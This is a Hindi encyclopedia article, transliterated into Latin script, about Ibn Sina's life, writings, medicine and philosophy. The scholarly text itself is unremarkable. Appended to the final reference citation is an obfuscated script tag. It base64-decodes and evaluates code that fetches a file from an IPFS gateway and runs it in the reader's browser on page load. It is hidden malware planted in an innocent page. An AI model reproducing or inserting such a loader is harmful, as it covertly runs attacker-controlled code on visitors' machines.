इब्न सिना
ibn sina inaka nam abooalh husen ibn sina tha, ibrani mean aven sina tatha latini mean avichenna tha. inaka janm sanh 370 hi. (sanh 980 ee.) mean bukhara ke pas afhshan: mean hua tha aur yah sanh 428 hi (sanh 1037 ee.) mean hamadan mean mare. inake mata-pita eerani vansh ke the. inake pita kharamait: ke shasak the. ibn sina ne bukhara mean shiksha prapt ki. aranbh mean kuran tatha sahity ka adhyayan kiya. shara ki shiksha ke anantar inhoanne tark, ganit, rekhaganit tatha jyotish mean yogyata prapt ki. shighr hi inaki buddhi itani paripakv tatha unnat ho gee ki inhean kisi guru ki apeksha nahian rah gee aur inhoanne niji svaghyay se bhautik vijnan, parabhautik darshan tatha vaidyak mean yogyata prapt kar li. hakimi sikhate samay se hi inhoanne usaka vyavasay bhi aranbh kar diya jisase us vishay mean parangat ho ge. darshanashastr se inaka vastavik sanbandh alhpharabi ki rachanaoan ke adhyayan se hua. alhpharabi ke parabhautik darshan tatha tarkashastr ki nianv navaphalatooni vyakhyaoan tatha arastoo ki rachanaoan ke arabi anuvadoan par thi. inhoanne ibn sina ki kalpanaoan ki disha nirdharit kar di. is samay inaki avastha 16-17 varsh ki thi. saubhagy se ibn sina ko bukhara ke sulatan nooh bin mansoor ki dava karane ka avasar mila jisase vah achchha ho gaya. isake phalasvaroop inaki pahuanch sulatan ke pustakalay tak ho gee. inaki smaran tatha dharanashakti bahut tivr thi isalie inhoanne tho de hi samay mean us pustakalay ki sahayata se apane samay tak ki kul vidyaoan ka poorn jnan prapt kar liya. inhoanne 21 varsh ki avastha se likhana aranbh kiya. inako lekhanashaili sadharanat: spasht tatha prakhyat hai.
ibn sina ne apane pita ki mrityu par apana jivan b de asanyam ke sath vyatit kiya jo vidya sanbandhi karyoan, bhog vilas tatha nirashaoan se bhara tha. bich mean kuchh samay tak jurjan, ree, hamadan tatha isphahan ke darabaroan mean sukhi jivan bhi bitate rahe. isi kal inhoanne kee b di pustakean likhian jinamean adhikatar arabi mean tatha kuchh pharasi bhasha mean thian. inamean vishesh roop se varnaniy philasapha ka kosh 'kitabulh shafa', jo sanh 1313 ee. mean teharan se chhapa tha, aur tib (vaidyak) par likha granth 'alaqanoon phiulh tib' hai jo sanh 1284 ee. mean teharan se, sanh 1593 ee. mean room se aur sanh 1924 ee. mean balak se chhapa hai. 'kitabulh shafa' arastoo ke vicharoan par keandrit hai, jo nav afalatooni vicharoan tatha islami dharm ke prabhav se sanshodhit parivartit ho ge the. isamean sangit ki bhi vyakhya hai. is granth ke 18 khand haian aur ise poora karane mean 20 mahine lage the. ibn sina ne is granth ka sankshep bhi 'alhnajat' ke nam se sankalit kiya tha. 'alhqanoon phiulh tib' mean yoonani tatha arabi vaidyakoan ka aantim nicho d upasthit kiya gaya hai. ibn sina ne apani b di rachanaoan ke sankshep tatha vibhinn vishayoan par chhoti-chhoti pustikaean bhi likhi haian. inaki rachanaoan ki kul sankhya 99 batalaee jati hai. inaka ek kasid: bahut prasiddh hai jisamean inhoanne atma ke uchch lok se manav sharir mean utarane ka varnan kiya hai. mantik (tark ya nyay) mean inaki shreshth rachana 'kitabulh isharat v alshabihat' hai. inhoanne apana atmacharit bhi likha tha jisaka sankalan inake priy shishy aljurjani ne kiya. inaki vastavik shreshthata tatha prasiddhi aise vidvanh tatha darshanik ke roop mean haian jisane bhavishy mean anevali kee shatabdiyoan ke lie vidya tatha darshan ki ek sima aur praman sthapit kar die the. isi karan shatabdiyoan tak inhean 'alhshekh alhrees' ki gauravapoorn upadhi se smaran kiya jata raha aur ab tak bhi anek poorvi deshoan mean kiya jata hai.
mantik mean ibn sina bahut door tak alhpharabi ka anugaman karate haian. yah isako ek aisi vidya manate haian jo darshan tak pahuanchane ka dvar hai. philasapha nazarayati (prakrit darshan) ya amali (vyavaharik) hoga. yah nazarayati philasapha ko tabiat (bhautik), riyazi (ganit adi) tatha mabadulhtabiat (parabhautik darshan) mean vibhajit karate haian aur amali philasapha ko ikhalakiyat (sadachar), mashiyat (jivanakram) tatha siyasiyat (shasan) mean. samashtiroop mean inaki tabiat ki nianv arastoo ki vicharadhara par sthit hai, yadyapi usamean nav afalatooni philasapha se prabhavit haian.
ibn sina ne poorv tatha pashchim ko apane vaidyak dvara sabase adhik prabhavit kiya hai. inake granth 'alhqanoon phiulh tib' ka anuvad latini bhasha mean 12vian sadi eesavi mean ho gaya tha aur yah pustak yoorop mean vaidyak vidyalayoan ke pathayakram mean le li gee thi. isaka anuvad aangreji bhasha mean bhi hua hai.
ibn sina ne arastoo ke mabadulh tabiat ko ek or nav afalatooni nazariyat (prakritik darshan) se tatha doosari or islami diniyat (sanpraday ke siddhaantoan) se milane ka prayatn kiya hai. buddhi tatha tatv ya khuda tatha duniya ki dvayata inake yahaan alhpharabi se adhik spasht dikhalaee p dati hai aur vyaktigat atma ke amaratv ka inhoanne adhik sucharu roop se varnan kiya hai. inhoanne tatv ko sanbhavy astitv kaha hai aur inake yahaan srishti ke is sanbhavy astitv ko vastavik astitv mean parinat karane ka nam hai, kiantu yah kary nity hai. moolat: vastavik astitv keval khuda ka hai aur usake siva jo kuchh hai vah sab sanbhavy hai. khuda ka astitv anivary hai aur vahi sab vastuoan ka karan hai, jo nity hai. isalie usake phal, arthath jagath ko bhi nity hona chahie. jagath svat: sanbhavy asttitv hi hai, kintu eershvariy karan ke adhar se usaka astitv anivary hai. atma ke sanbandh mean is mabadulh tabiat ke siddhaant ne ibn sina ko soophi dhang ki rahasyooparn vicharadhara ki or ubha da aur inhoanne in vicharoan ko kavita ke roop mean dhal diya. isamean yah eerani tasavvuf se bhi prabhavit haian, par yah varnanashaili inamean kahian kahian milati hai.
ibn sina ke darshan mean prem ko bahut uchch sthan prapt hai. yah sauandary ke moolyaankan dvara manavotkarsh ke mananevale haian aur inake yahaan sauandary kamal (poornata) tatha khair (kalyan) ka nam hai. vastuean (jagath) ya to poornata prapt kar chuki haian ya usake lie prayatnashil haian aur is prayatn mean poorn vastuoan se sahayata ki ichchhuk haian. isi prayatn ka nam prem hai. sara vishv is premashakti se prabhavit hokar uchchatam sauandary (khuda) ki or agrasar hota hai jo nitaant poorn tatha sarvashreshth kalyanakari hai. kul vastuean anastitv se ghrina karati haian. tatv svat: nirjiv hai, par prem usake dvara vibhinn roop dharan karata hai. is prakar utkarsh ki shrriankhala j d prastar adi, vriksh adi pashu tatha manav ke jivanoan se hoti huee un uchchatar tatha poornatar jivanoan tak pahuanchati hai jisake sanbandh mean ham kuchh nahian janate.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 531 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>